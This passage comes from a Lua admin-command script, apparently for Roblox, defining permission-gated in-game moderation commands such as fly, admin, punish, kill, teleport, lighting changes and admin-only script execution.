  2560.                             ((Camera.CoordinateFrame * CFrame.new(Control.l + Control.r,(Control.f + Control.b) * 0.2, 0).p) - --yuck
  2561.                             Camera.CoordinateFrame.p))*Speed
  2562.                            
  2563.                         LastControl = {f = Control.f, b = Control.b, l = Control.l, r = Control.r}
  2564.                        
  2565.                     elseif (Control.l + Control.r) == 0 and (Control.f + Control.b) == 0 and Speed ~= 0 then
  2566.                    
  2567.                         Velocity.velocity =
  2568.                             ((Camera.CoordinateFrame.lookVector * (LastControl.f + LastControl.b)) +
  2569.                             ((Camera.CoordinateFrame * CFrame.new(LastControl.l + LastControl.r, (LastControl.f + LastControl.b) * 0.2, 0).p) - --also yuck
  2570.                             Camera.CoordinateFrame.p))*Speed
  2571.                            
  2572.                     else
  2573.                         Velocity.velocity = Vector3.new(0,0.1,0)
  2574.                     end
  2575.                    
  2576.                     Gyro.cframe = Camera.CoordinateFrame * CFrame.Angles(-math.rad((Control.f+Control.b)*50*Speed/MaxSpeed),0,0)
  2577.                    
  2578.                 until not Flying or not script.Parent
  2579.                
  2580.                 Control = {f = 0, b = 0, l = 0, r = 0}
  2581.                 LastControl = {f = 0, b = 0, l = 0, r = 0}
  2582.                 Speed = 0
  2583.                 Gyro:Destroy()
  2584.                 Velocity:Destroy()
  2585.                 Humanoid.PlatformStand = false
  2586.                
  2587.             end
  2588.            
  2589.             Mouse.KeyDown:connect(function(key)
  2590.                 if key:lower() == "e" then
  2591.                     Flying = not Flying
  2592.                     if Flying then
  2593.                         Fly()
  2594.                     end
  2595.                 elseif key:lower() == "w" then
  2596.                     Control.f = 1
  2597.                 elseif key:lower() == "s" then
  2598.                     Control.b = -1
  2599.                 elseif key:lower() == "a" then
  2600.                     Control.l = -1
  2601.                 elseif key:lower() == "d" then
  2602.                     Control.r = 1
  2603.                 end
  2604.             end)
  2605.            
  2606.             Mouse.KeyUp:connect(function(key)
  2607.                 if key:lower() == "w" then
  2608.                     Control.f = 0
  2609.                 elseif key:lower() == "s" then
  2610.                     Control.b = 0
  2611.                 elseif key:lower() == "a" then
  2612.                     Control.l = 0
  2613.                 elseif key:lower() == "d" then
  2614.                     Control.r = 0
  2615.                 end
  2616.             end)
  2617.            
  2618.             Fly()]],i:FindFirstChild("PlayerGui"),true)
  2619.     end
  2620.    
  2621.     Tell(sender,"Flown "..tostring(unpack(flyme))..".",3)
  2622. end
  2623.  
  2624. function Commands.unfly(args,sender)
  2625.     MinimumPermission(1,sender)
  2626.     assert(args[1],"Player to unfly is missing")
  2627.    
  2628.     local unfly = GetPlayersFromString(args[1],sender)
  2629.    
  2630.     for _,i in pairs(unfly) do
  2631.         if i:FindFirstChild("PlayerGui") and i:FindFirstChild("PlayerGui"):FindFirstChild("ADMIN_FLY_SCRIPT") then
  2632.             i:FindFirstChild("PlayerGui"):FindFirstChild("ADMIN_FLY_SCRIPT").Disabled = true
  2633.             i:FindFirstChild("PlayerGui"):FindFirstChild("ADMIN_FLY_SCRIPT"):Destroy()
  2634.         end
  2635.         if i.Character and i.Character:FindFirstChild("Torso") then
  2636.             if i.Character.Torso:FindFirstChild("FlySmoke") then
  2637.                 i.Character.Torso:FindFirstChild("FlySmoke"):Destroy()
  2638.             end
  2639.             if i.Character.Torso:FindFirstChild("BodyGyro") then
  2640.                 i.Character.Torso:FindFirstChild("BodyGyro"):Destroy()
  2641.             end
  2642.             if i.Character.Torso:FindFirstChild("BodyVelocity") then
  2643.                 i.Character.Torso:FindFirstChild("BodyVelocity"):Destroy()
  2644.             end
  2645.         end
  2646.         if i.Character:FindFirstChild("Humanoid") then
  2647.             i.Character:FindFirstChild("Humanoid").PlatformStand = false
  2648.         end
  2649.     end
  2650.    
  2651.     Tell(sender,"Unflown "..tostring(unpack(unfly))..".",3)
  2652. end
  2653.  
  2654. function Commands.unnoclip(args,sender)
  2655.     MinimumPermission(1,sender)
  2656.     assert(args[1],"Player to unnoclip is missing")
  2657.    
  2658.     local unfly = GetPlayersFromString(args[1],sender)
  2659.    
  2660.     for _,i in pairs(unfly) do
  2661.         if i:FindFirstChild("PlayerGui") and i:FindFirstChild("PlayerGui"):FindFirstChild("ADMIN_NOCLIP_SCRIPT") then
  2662.             i:FindFirstChild("PlayerGui"):FindFirstChild("ADMIN_NOCLIP_SCRIPT").Disabled = true
  2663.             i:FindFirstChild("PlayerGui"):FindFirstChild("ADMIN_NOCLIP_SCRIPT"):Destroy()
  2664.         end
  2665.         if i.Character then
  2666.             if i.Character:FindFirstChild("Torso") then
  2667.                 i.Character:FindFirstChild("Torso").Anchored = false
  2668.             end
  2669.             if i.Character:FindFirstChild("Humanoid") then
  2670.                 Delay(0.28,function()
  2671.                     i.Character:FindFirstChild("Humanoid").PlatformStand = false
  2672.                 end)
  2673.             end
  2674.         end
  2675.     end
  2676.    
  2677.     Tell(sender,"Clipped "..tostring(unpack(unfly))..".",3)
  2678. end
  2679.  
  2680. function Commands.clip(...)
  2681.     Commands.unnoclip(...)
  2682. end
  2683.  
  2684. function Commands.unban(args,sender)
  2685.     MinimumPermission(2,sender)
  2686.     assert(args[1],"Player to unban is missing")
  2687.    
  2688.     if args[1] == "all" or args[1] == "others" then
  2689.         BannedPlayers = {}
  2690.         Tell(player,"Cleared ban list.",3)
  2691.         return
  2692.     end
  2693.    
  2694.     local tounban
  2695.     for a,i in pairs(BannedPlayers) do
  2696.         if i:lower():sub(1,#args[1]) == args[1]:lower() then
  2697.             if not tounban then
  2698.                 tounban = a
  2699.             else
  2700.                 error(args[1].." is ambiguous on the ban list. Try being more specific.")
  2701.             end
  2702.         end
  2703.     end
  2704.    
  2705.     table.remove(BannedPlayers,tounban)
  2706.    
  2707.     Tell(sender,"Unbanned "..tounban..".",3)
  2708. end
  2709.  
  2710. function Commands.admin(args,sender)
  2711.     MinimumPermission(1,sender)
  2712.     assert(args[1],"Player to admin is missing")
  2713.     local toadmin = "nope"
  2714.     pcall(function()
  2715.         toadmin = GetPlayersFromString(args[1],sender)
  2716.     end)
  2717.     if toadmin == "nope" then
  2718.         table.insert(Admins,args[1])
  2719.         Tell(sender,"Added "..tostring(args[1]).." to the admin list.",3)
  2720.     else
  2721.         for _,i in pairs(toadmin) do
  2722.             if Permissions[i.Name] <= 1 then
  2723.                 table.insert(Admins,i.Name)
  2724.                 Permissions[i.Name] = 1
  2725.                 Tell(i,sender.Name.." has granted you normal Admin permissions. Say :cmds for a list of commands, you can do most things besiding kicking, banning, or punishing.",5)
  2726.             end
  2727.         end
  2728.         Tell(sender,"Admined "..tostring(unpack(toadmin))..".",3)
  2729.     end
  2730. end
  2731.  
  2732. function Commands.unadmin(args,sender)
  2733.     MinimumPermission(1,sender)
  2734.     assert(args[1],"Player to unadmin is missing")
  2735.     local admin = GetPlayersFromString(args[1],sender)
  2736.    
  2737.     for _,i in pairs(admin) do
  2738.         for a,b in pairs(Admins) do
  2739.             if b:lower() == i.Name:lower() and ((Permissions[sender.Name] < 2 and Permissions[b.Name] < 2) or Permissions[sender.Name] >= 2) then
  2740.                 table.remove(Admins,a)
  2741.                 Permissions[i.Name] = 0
  2742.             end
  2743.         end
  2744.         for a,b in pairs(SuperAdmins) do
  2745.             if b:lower() == i.Name:lower() and (Permissions[sender.Name] >= 2) then
  2746.                 table.remove(SuperAdmins,a)
  2747.                 Permissions[i.Name] = 0
  2748.             end
  2749.         end
  2750.         Tell(i,sender.Name.." has removed your Admin permissions. Sorry about that.",5)
  2751.     end
  2752.    
  2753.     Tell(sender,"Unadmined "..tostring(unpack(admin))..".",3)
  2754. end
  2755.  
  2756. function Commands.superadmin(args,sender)
  2757.     MinimumPermission(2,sender)
  2758.     assert(args[1],"Player to admin is missing")
  2759.     local toadmin = "nope"
  2760.     pcall(function()
  2761.         toadmin = GetPlayersFromString(args[1],sender)
  2762.     end)
  2763.     if toadmin == "nope" then
  2764.         table.insert(SuperAdmins,args[1])
  2765.     else
  2766.         for _,i in pairs(toadmin) do
  2767.             table.insert(SuperAdmins,i.Name)
  2768.             Permissions[i.Name] = 2
  2769.             Tell(i,sender.Name.." has granted you Super Admin permissions. Say :cmds for a list of commands. You may use anything on the list.",5)
  2770.         end
  2771.     end
  2772.    
  2773.     Tell(sender,"Super Admined "..tostring(unpack(toadmin))..".",3)
  2774. end
  2775.  
  2776. function Commands.punish(args,sender)
  2777.     MinimumPermission(2,sender)
  2778.     assert(args[1],"Player to punish is missing")
  2779.     local punish = GetPlayersFromString(args[1],sender)
  2780.    
  2781.     for _,i in pairs(punish) do
  2782.         local c = i.Character
  2783.         c.Parent = Lighting
  2784.         pcall(function()
  2785.             i.Character = nil
  2786.             c.Name = c.Name.."_PUNISHED"
  2787.         end)
  2788.     end
  2789.     Tell(sender,"Punished "..tostring(unpack(punish))..".",3)
  2790. end
  2791.  
  2792. function Commands.givebtools(args,sender)
  2793.     MinimumPermission(1,sender)
  2794.     assert(args[1],"Player to give build tools is missing")
  2795.     local players = GetPlayersFromString(args[1],sender)
  2796.    
  2797.     for _,i in pairs(players) do
  2798.         if i:FindFirstChild("Backpack") then
  2799.             local move = Instance.new("HopperBin",i.Backpack)
  2800.             move.Name = "Move"
  2801.             move.BinType = "GameTool"
  2802.             local move = Instance.new("HopperBin",i.Backpack)
  2803.             move.Name = "MoveModel"
  2804.             move.BinType = "Grab"
  2805.             local copy = Instance.new("HopperBin",i.Backpack)
  2806.             copy.Name = "Copy"
  2807.             copy.BinType = "Clone"
  2808.             local destroy = Instance.new("HopperBin",i.Backpack)
  2809.             destroy.Name = "Delete"
  2810.             destroy.BinType = "Hammer"
  2811.         end
  2812.     end
  2813.    
  2814.     Tell(sender,"Gave "..tostring(unpack(players)).." Building Tools.",3)
  2815. end
  2816.  
  2817. function Commands.btools(...)
  2818.     Commands.givebtools(...)
  2819. end
  2820.  
  2821. function Commands.removebtools(...)
  2822.     Commands.takebtools(...)
  2823. end
  2824.  
  2825. function Commands.takebtools(args,sender)
  2826.     MinimumPermission(1,sender)
  2827.     assert(args[1],"Player to take build tools is missing")
  2828.     local players = GetPlayersFromString(args[1],sender)
  2829.    
  2830.     for _,i in pairs(players) do
  2831.         if i:FindFirstChild("Backpack") then
  2832.             for _,a in pairs(i:FindFirstChild("Backpack"):GetChildren()) do
  2833.                 if a:IsA("HopperBin") and a.BinType == "Hammer" or a.BinType == "Clone" or a.BinType == "GameTool" or a.BinType == "Grab" then
  2834.                     a:Destroy()
  2835.                 end
  2836.             end
  2837.         end
  2838.     end
  2839.    
  2840.     Tell(sender,"Took Building Tools from "..tostring(unpack(players))..".",3)
  2841. end
  2842.  
  2843. function Commands.removetools(args,sender)
  2844.     MinimumPermission(1,sender)
  2845.     assert(args[1],"Player to remove tools is missing")
  2846.     local players = GetPlayersFromString(args[1],sender)
  2847.    
  2848.     for _,i in pairs(players) do
  2849.         if i:FindFirstChild("Backpack") then
  2850.             for _,a in pairs(i:FindFirstChild("Backpack"):GetChildren()) do
  2851.                 if a:IsA("HopperBin") or a:IsA("Tool") then
  2852.                     a:Destroy()
  2853.                 end
  2854.             end
  2855.         end
  2856.         if i.Character then
  2857.             for _,a in pairs(i.Character:GetChildren()) do
  2858.                 if a:IsA("Tool") or a:IsA("HopperBin") then
  2859.                     a:Destroy()
  2860.                 end
  2861.             end
  2862.         end
  2863.     end
  2864.    
  2865.     Tell(sender,"Took Tools from "..tostring(unpack(players))..".",3)
  2866. end
  2867.  
  2868. function Commands.cleartools(...)
  2869.     Commands.removetools(...)
  2870. end
  2871.  
  2872. function Commands.taketools(...)
  2873.     Commands.removetools(...)
  2874. end
  2875.  
  2876. function Commands.removestartergear(args,sender)
  2877.     MinimumPermission(1,sender)
  2878.     assert(args[1],"Player to remove tools is missing")
  2879.     local players = GetPlayersFromString(args[1],sender)
  2880.    
  2881.     for _,i in pairs(players) do
  2882.         if i:FindFirstChild("StarterGear") then
  2883.             for _,a in pairs(i:FindFirstChild("StarterGear"):GetChildren()) do
  2884.                 if a:IsA("HopperBin") or a:IsA("Tool") then
  2885.                     a:Destroy()
  2886.                 end
  2887.             end
  2888.         end
  2889.     end
  2890.    
  2891.     Tell(sender,"Took Starter Gear from "..tostring(unpack(players))..".",3)
  2892. end
  2893.  
  2894. function Commands.takestartergear(...)
  2895.     Commands.removestartergear(...)
  2896. end
  2897.  
  2898. function Commands.clearstartergear(...)
  2899.     Commands.removestartergear(...)
  2900. end
  2901.  
  2902. function Commands.takestarter(...)
  2903.     Commands.removestartergear(...)
  2904. end
  2905.  
  2906. function Commands.removestarter(...)
  2907.     Commands.removestartergear(...)
  2908. end
  2909.  
  2910. function Commands.clearstarter(...)
  2911.     Commands.removestartergear(...)
  2912. end
  2913.  
  2914. function Commands.takestartertools(...)
  2915.     Commands.removestartergear(...)
  2916. end
  2917.  
  2918. function Commands.removestartertools(...)
  2919.     Commands.removestartergear(...)
  2920. end
  2921.  
  2922. function Commands.clearstartertools(...)
  2923.     Commands.removestartergear(...)
  2924. end
  2925.  
  2926. function Commands.disablesb(args,sender)
  2927.     MinimumPermission(2,sender)
  2928.  
  2929.     if not SBMode then
  2930.         error("You must be in a script builder to use "..tostring(CommandPrefix).."disablesb")
  2931.     end
  2932.    
  2933.     for _,i in pairs(Scripts) do
  2934.         i.Disabled = true
  2935.         TellAll("Scripts have been disabled. All detectable scripts have been disabled.")
  2936.     end
  2937.    
  2938.     DisableSB = true
  2939.    
  2940.     for _,i in pairs(Players:GetPlayers()) do
  2941.         if i:FindFirstChild("PlayerGui") then
  2942.             for _,a in pairs(i:FindFirstChild("PlayerGui"):GetChildren()) do
  2943.                 if a.Name ~= "Admi" or not a:IsA("ScreenGui") and a.Name ~= "HealthGUI" then
  2944.                     a:Destroy()
  2945.                 end
  2946.             end
  2947.             i:FindFirstChild("PlayerGui").ChildAdded:connect(function(a)
  2948.                 if DisableSB then
  2949.                     if a.Name ~= "Admi" or not a:IsA("ScreenGui") and a.Name ~= "HealthGUI" then
  2950.                         a:Destroy()
  2951.                     end
  2952.                 end
  2953.             end)
  2954.         end
  2955.     end
  2956.    
  2957.     Tell(sender,"Script Builder Disabled",3)
  2958.    
  2959. end
  2960.  
  2961. function Commands.enablesb(args,sender)
  2962.     MinimumPermission(2,sender)
  2963.    
  2964.     if not SBMode then
  2965.         error(CommandPrefix.."enablesb requires SBMode to be on.")
  2966.     end
  2967.    
  2968.     DisableSB = false
  2969.    
  2970.     for _,i in pairs(Players:GetPlayers()) do
  2971.         i:LoadCharacter()
  2972.     end
  2973.    
  2974.     Tell(sender,"Script Builder Enabled",3)
  2975. end
  2976.  
  2977. function Commands.unpunish(args,sender)
  2978.     MinimumPermission(2,sender)
  2979.     assert(args[1],"Player to unpunish is missing")
  2980.     local punish = GetPlayersFromString(args[1],sender)
  2981.    
  2982.     for _,i in pairs(punish) do
  2983.         punishedchar = Lighting:FindFirstChild(i.Name.."_PUNISHED")
  2984.         if punishedchar then
  2985.             punishedchar.Name = i.Name
  2986.             i.Character = punishedchar
  2987.             punishedchar.Parent = Workspace
  2988.         else
  2989.             i:LoadCharacter()
  2990.         end
  2991.     end
  2992.     Tell(sender,"Unpunished "..tostring(unpack(punish))..".",3)
  2993. end
  2994.  
  2995. function Commands.clean(args,sender)
  2996.     MinimumPermission(1,sender)
  2997.    
  2998.     for _,i in pairs(Workspace:GetChildren()) do
  2999.         if i:IsA("Hat") or i:IsA("Tool") or i:IsA("Message") or i:IsA("Hint") or i:IsA("Sound") then
  3000.             i:Destroy()
  3001.         end
  3002.     end
  3003.    
  3004.     Tell(sender,"Cleaned!",3)
  3005. end
  3006.  
  3007. function Commands.day(args,sender)
  3008.     MinimumPermission(1,sender)
  3009.    
  3010.     Lighting.TimeOfDay = 14
  3011.    
  3012.     Tell(sender,"It's day now!",3)
  3013. end
  3014.  
  3015. function Commands.night(args,sender)
  3016.     MinimumPermission(1,sender)
  3017.    
  3018.     Lighting.TimeOfDay = 0
  3019.    
  3020.     Tell(sender,"It's day now!",3)
  3021. end
  3022.  
  3023. function Commands.fog(args,sender)
  3024.     MinimumPermission(1,sender)
  3025.    
  3026.     Lighting.FogEnd = tonumber(args[1]) or 100
  3027.    
  3028.     Tell(sender,"It's foggy out now!",3)
  3029. end
  3030.  
  3031. function Commands.resetplace(args,sender)
  3032.     MinimumPermission(2,sender)
  3033.    
  3034.     if not SBMode then
  3035.         error("Because this erases the whole place, "..CommandPrefix.."resetplace is currently not available without SBMode on. Sorry!")
  3036.     end
  3037.    
  3038.     for _,i in pairs(Scripts) do
  3039.         i.Disabled = true
  3040.     end
  3041.    
  3042.     for _,i in pairs(Workspace:GetChildren()) do --wipe workspace
  3043.         if i ~= script and not i:IsA("Model") and not i:IsA("Camera") and not i:IsA("Terrain") and i ~= script then
  3044.             if i:IsA("BaseScript") then
  3045.                 i.Disabled = true
  3046.             end
  3047.             i:Destroy()
  3048.         elseif i:IsA("Model") and i:FindFirstChild("Humanoid") and Players:FindFirstChild(i.Name) ~= nil and i ~= script then
  3049.             for _,a in pairs(i:GetChildren()) do
  3050.                 if not a:IsA("Humanoid") and not a:IsA("BasePart") then
  3051.                     a:Destroy()
  3052.                 end
  3053.             end
  3054.         elseif not i:IsA("Camera") and not i:IsA("Terrain") and i ~= script then
  3055.             if i:IsA("BaseScript") then
  3056.                 i.Disabled = true
  3057.             end
  3058.             i:Destroy()
  3059.         end
  3060.     end
  3061.    
  3062.     Lighting:ClearAllChildren()
  3063.     ReplicatedStorage:ClearAllChildren()
  3064.     ServerScriptService:ClearAllChildren()
  3065.     ServerStorage:ClearAllChildren()
  3066.     Debris:ClearAllChildren()
  3067.     StarterGui:ClearAllChildren()
  3068.     StarterPack:ClearAllChildren()
  3069.    
  3070.     Lighting.TimeOfDay = 14
  3071.     Lighting.FogStart = 0
  3072.     Lighting.FogEnd = 100000
  3073.     Lighting.FogColor = Color3.new(192/255,192/255,192/255)
  3074.     Lighting.Brightness = 1
  3075.     Lighting.Ambient = Color3.new()
  3076.     Lighting.ColorShift_Bottom = Color3.new()
  3077.     Lighting.ColorShift_Top = Color3.new()
  3078.     Lighting.OutdoorAmbient = Color3.new(0.5,0.5,0.5)
  3079.     Lighting.Outlines = true
  3080.     Lighting.ShadowColor = Color3.new(179/255,179/255,184/255)
  3081.     Lighting.GeographicLatitude = 41.733
  3082.     Lighting.GlobalShadows = true
  3083.    
  3084.     local base = Instance.new("Part")
  3085.     base.Anchored = true
  3086.     base.Locked = true
  3087.     base.BrickColor = BrickColor.new("Dark green")
  3088.     base.Name = "Baseplate"
  3089.     base.Size = Vector3.new(1000,1.2,1000)
  3090.     base.Position = Vector3.new(0,0.6,0)
  3091.     base.Parent = Workspace
  3092.    
  3093.     for _,i in pairs(Players:GetPlayers()) do
  3094.         if i:IsA("Player") then
  3095.             if i:FindFirstChild("StarterGear") then
  3096.                 i:ClearAllChildren()
  3097.             end
  3098.             i:LoadCharacter()
  3099.         else
  3100.             i:Destroy()
  3101.         end
  3102.     end
  3103.    
  3104.     Tell(sender,"The place has been reset!",3)
  3105. end
  3106.  
  3107. function Commands.s(args,sender)
  3108.     MinimumPermission(2,sender)
  3109.    
  3110.     local buildstring = ""
  3111.    
  3112.     for _,i in pairs(args) do
  3113.         buildstring = buildstring..i.." "
  3114.     end
  3115.    
  3116.     local ok,err = loadstring(buildstring)
  3117.    
  3118.     if not ok then
  3119.         Tell(sender,"Your script could not be made due to a syntax error: "..tostring(err),3)
  3120.     else
  3121.         MakeScript(buildstring,Workspace)
  3122.         Tell(sender,"Your script has been created! A message will appear if anything goes wrong.",3)
  3123.     end
  3124.  
  3125. end
  3126.  
  3127.  
  3128. function Commands.ls(args,sender)
  3129.     MinimumPermission(2,sender)
  3130.    
  3131.     local buildstring = ""
  3132.    
  3133.     for _,i in pairs(args) do
  3134.         buildstring = buildstring..i.." "
  3135.     end
  3136.    
  3137.     local ok,err = loadstring(buildstring)
  3138.    
  3139.     if not ok then
  3140.         Tell(sender,"Your localscript could not be made due to a syntax error: "..tostring(err),3)
  3141.     else
  3142.         MakeLocalScript(buildstring,sender:FindFirstChild("PlayerGui") or sender:WaitForChild("Backpack"))
  3143.         Tell(sender,"Your localscript has been created! A message will appear if anything goes wrong.",3)
  3144.     end
  3145.  
  3146. end
  3147.  
  3148. function Commands.lsplr(args,sender)
  3149.     MinimumPermission(2,sender)
  3150.    
  3151.     player = GetPlayersFromString(args[1],sender)
  3152.    
  3153.     local nameargs = {}
  3154.    
  3155.     for a,i in pairs(args) do
  3156.         if a ~= 1 then
  3157.             nameargs[a-1] = i
  3158.         end
  3159.     end
  3160.    
  3161.     for _,plr in pairs(player) do
  3162.        
  3163.         local buildstring = ""
  3164.        
  3165.         for _,i in pairs(nameargs) do
  3166.             buildstring = buildstring..i.." "
  3167.         end
  3168.        
  3169.         local ok,err = loadstring(buildstring)
  3170.        
  3171.         if not ok then
  3172.             Tell(sender,"Your localscript could not be made due to a syntax error: "..tostring(err),3)
  3173.         else
  3174.             MakeLocalScript(buildstring,plr:FindFirstChild("PlayerGui") or plr:WaitForChild("Backpack"))
  3175.         end
  3176.    
  3177.     end
  3178.    
  3179.     Tell(sender,"Your localscript has been created for "..tostring(unpack(player)).."! A message will appear if anything goes wrong.",3)
  3180.  
  3181. end
  3182.  
  3183.  
  3184.  
  3185. function Commands.nofog(args,sender)
  3186.     MinimumPermission(1,sender)
  3187.    
  3188.     Lighting.FogEnd = 100000
  3189.    
  3190.     Tell(sender,"It's no longer foggy out now!",3)
  3191. end
  3192.  
  3193. function Commands.unfog(args,sender)
  3194.     MinimumPermission(1,sender)
  3195.    
  3196.     Lighting.FogEnd = 100000
  3197.    
  3198.     Tell(sender,"It's no longer foggy out now!",3)
  3199. end
  3200.  
  3201. function Commands.gshadows(args,sender)
  3202.     MinimumPermission(1,sender)
  3203.    
  3204.     if stringtobool(args[1]) then
  3205.         Lighting.GlobalShadows = true
  3206.         Tell(sender,"Global Shadows turned on!",3)
  3207.     else
  3208.         Lighting.GlobalShadows = false
  3209.         Tell(sender,"Global Shadows turned off!",3)
  3210.     end
  3211.    
  3212. end
  3213.  
  3214. function Commands.outlines(args,sender)
  3215.     MinimumPermission(1,sender)
  3216.    
  3217.     if stringtobool(args[1]) then
  3218.         Lighting.Outlines = true
  3219.         Tell(sender,"Outlines turned on!",3)
  3220.     else
  3221.         Lighting.Outlines = false
  3222.         Tell(sender,"Outlines turned off!",3)
  3223.     end
  3224.    
  3225. end
  3226.  
  3227. function Commands.cleansbscripts(args,sender)
  3228.     MinimumPermission(1,sender)
  3229.    
  3230.     for _,i in pairs(Scripts) do
  3231.         i.Disabled = true
  3232.         i:Destroy()
  3233.     end
  3234.    
  3235.     Tell(sender,"Cleaned!",3)
  3236. end
  3237.  
  3238. function Commands.kill(args,sender)
  3239.     MinimumPermission(1,sender)
  3240.     assert(args[1],"Player to kill is missing")
  3241.     player = GetPlayersFromString(args[1],sender)
  3242.    
  3243.     for _,i in pairs(player) do
  3244.         if i.Character then
  3245.             i.Character:BreakJoints()--ham ham ham ham
  3246.         end
  3247.     end
  3248.    
  3249.     Tell(sender,"Killed "..tostring(unpack(player))..".",3)
  3250. end
  3251.  
  3252. function Commands.damage(args,sender)
  3253.     MinimumPermission(2,sender)
  3254.     assert(args[1],"Player to damage is missing")
  3255.     local banned = GetPlayersFromString(args[1],sender)
  3256.     assert(tonumber(args[2]),"Damage amount missing or not a proper number")
  3257.    
  3258.     for _,i in pairs(banned) do
  3259.         if i.Character and i.Character:FindFirstChild("Humanoid") then
  3260.             i.Character:FindFirstChild("Humanoid"):TakeDamage(tonumber(args[2]))
  3261.         end
  3262.     end
  3263.    
  3264.     Tell(sender,"Damaged "..tostring(unpack(banned)).." by "..args[2].." health.",3)
  3265. end
  3266.  
  3267. function Commands.jump(args,sender)
  3268.     MinimumPermission(1,sender)
  3269.     assert(args[1],"Player to jump is missing")
  3270.     player = GetPlayersFromString(args[1],sender)
  3271.    
  3272.     for _,i in pairs(player) do
  3273.         if i.Character and i.Character:FindFirstChild("Humanoid") then
  3274.             i.Character:FindFirstChild("Humanoid").Jump = true
  3275.         end
  3276.     end
  3277.     Tell(sender,"Jumped "..tostring(unpack(player))..".",3)
  3278. end
  3279.  
  3280. function Commands.lay(args,sender)
  3281.     MinimumPermission(1,sender)
  3282.     assert(args[1],"Player to jump is missing")
  3283.     player = GetPlayersFromString(args[1],sender)
  3284.    
  3285.     for _,i in pairs(player) do
  3286.         if i.Character and i.Character:FindFirstChild("Humanoid") and i.Character:FindFirstChild("Torso") then
  3287.             i.Character:FindFirstChild("Humanoid").PlatformStand = true
  3288.             i.Character:FindFirstChild("Torso").Velocity = Vector3.new(3,3,0)
  3289.         end
  3290.     end
  3291.     Tell(sender,"Lied down "..tostring(unpack(player))..".",3)
  3292. end
  3293.  
  3294. function Commands.fling(args,sender)
  3295.     MinimumPermission(1,sender)
  3296.     assert(args[1],"Player to fling is missing")
  3297.     player = GetPlayersFromString(args[1],sender)
  3298.    
  3299.     for _,i in pairs(player) do
  3300.         if i.Character and i.Character:FindFirstChild("Humanoid") and i.Character:FindFirstChild("Torso") then
  3301.             i.Character:FindFirstChild("Humanoid").Sit = true
  3302.             i.Character:FindFirstChild("Torso").Velocity = Vector3.new(1000,1000,0)
  3303.         end
  3304.     end
  3305.     Tell(sender,"Flung "..tostring(unpack(player))..".",3)
  3306. end
  3307.  
  3308. function Commands.sit(args,sender)
  3309.     MinimumPermission(1,sender)
  3310.     assert(args[1],"Player to sit is missing")
  3311.     player = GetPlayersFromString(args[1],sender)
  3312.    
  3313.     for _,i in pairs(player) do
  3314.         if i.Character and i.Character:FindFirstChild("Humanoid") then
  3315.             i.Character:FindFirstChild("Humanoid").Sit = true
  3316.         end
  3317.     end
  3318.     Tell(sender,"Sat "..tostring(unpack(player))..".",3)
  3319. end
  3320.  
  3321. function Commands.respawn(args,sender)
  3322.     MinimumPermission(1,sender)
  3323.     assert(args[1],"Player to respawn is missing")
  3324.     player = GetPlayersFromString(args[1],sender)
  3325.    
  3326.     for _,i in pairs(player) do
  3327.         i:LoadCharacter()
  3328.     end
  3329.     Tell(sender,"Respawned "..tostring(unpack(player))..".",3)
  3330. end
  3331.  
  3332. function Commands.god(args,sender)
  3333.     MinimumPermission(1,sender)
  3334.     assert(args[1],"Player to god is missing")
  3335.     player = GetPlayersFromString(args[1],sender)
  3336.    
  3337.     for _,a in pairs(player) do
  3338.         if a.Character and a.Character:FindFirstChild("Humanoid") then
  3339.             for i = 1, 3 do
  3340.                 a.Character:FindFirstChild("Humanoid").MaxHealth = math.huge
  3341.                 a.Character:FindFirstChild("Humanoid").Health = math.huge
  3342.             end
  3343.         end
  3344.     end
  3345.     Tell(sender,"Godded "..tostring(unpack(player))..".",3)
  3346. end
  3347.  
  3348. function Commands.ungod(args,sender)
  3349.     MinimumPermission(1,sender)
  3350.     assert(args[1],"Player to god is missing")
  3351.     player = GetPlayersFromString(args[1],sender)
  3352.    
  3353.     for _,a in pairs(player) do
  3354.         if a.Character and a.Character:FindFirstChild("Humanoid") then
  3355.             for i = 1, 3 do
  3356.                 a.Character:FindFirstChild("Humanoid").MaxHealth = 100
  3357.                 a.Character:FindFirstChild("Humanoid").Health = 100
  3358.             end
  3359.         end
  3360.     end
  3361.     Tell(sender,"Ungodded "..tostring(unpack(player))..".",3)
  3362. end
  3363.  
  3364. function Commands.teleport(args,sender)
  3365.     MinimumPermission(1,sender)
  3366.     assert(args[1],"Players to teleport is missing")
  3367.     assert(args[2],"Player to teleport to is missing")
  3368.     player = GetPlayersFromString(args[1],sender)
  3369.     tpto = GetPlayersFromString(args[2],sender)
  3370.    
  3371.     if #tpto > 1 then
  3372.         error("Cannot teleport players to more than one person at once.")
  3373.     end
  3374.    
  3375.     assert(tpto[1],"Missing player to teleport to.")
  3376.     assert(tpto[1].Character,"Missing player to teleport to's Character.")
  3377.     assert(tpto[1].Character:FindFirstChild("Torso"),"Missing player to teleport to's Torso.")
  3378.    
  3379.     for _,a in pairs(player) do
  3380.         if a.Character then
  3381.             a.Character:MoveTo(tpto[1].Character:FindFirstChild("Torso").Position)
  3382.         end
  3383.     end
  3384.     Tell(sender,"Teleported "..tostring(unpack(player)).." to "..tpto[1].Name..".",3)
  3385. end
  3386.  
  3387. function Commands.pteleport(args,sender)
  3388.     MinimumPermission(2,sender)
  3389.     assert(args[1],"Players to teleport is missing")
  3390.     assert(tostring(args[2]),"Place to teleport to is missing or not a number")
  3391.     player = GetPlayersFromString(args[1],sender)
  3392.     tpto = tostring(args[2])
  3393.     TeleportService.CustomizedTeleportUI = true
  3394.    
  3395.     for _,a in pairs(player) do
  3396.         if a.Character then
  3397.             TeleportService:Teleport(tpto,a.Character)
  3398.         end
  3399.     end
  3400.    
  3401.     if not PlaceNames[tpto] then
  3402.         PlaceNames[tpto] = tpto
  3403.     end
  3404.     if type(PlaceNames[tpto]) == "number" then
  3405.         ypcall(function()
  3406.             PlaceNames[tpto] = MarketplaceService:GetProductInfo(tpto)["Name"]
  3407.         end)
  3408.     end
  3409.    
  3410.     Tell(sender,"Teleported "..tostring(unpack(player)).." to place "..PlaceNames[tpto] or tpto..".",3)
  3411. end
  3412.  
  3413. function Commands.tp(args,sender)
  3414.     Commands.teleport(args,sender)
  3415. end
  3416.  
  3417. function Commands.tele(args,sender)
  3418.     Commands.teleport(args,sender)
  3419. end
  3420.  
  3421. function Commands.ptp(args,sender)
  3422.     Commands.pteleport(args,sender)
  3423. end
  3424.  
  3425. function Commands.ptele(args,sender)
  3426.     Commands.pteleport(args,sender)
  3427. end
  3428.  
  3429. function Commands.place(args,sender)
  3430.     Commands.pteleport(args,sender)
  3431. end
  3432.  
  3433. function Commands.ff(args,sender)
  3434.     MinimumPermission(1,sender)
  3435.     assert(args[1],"Player to give ForceField is missing")
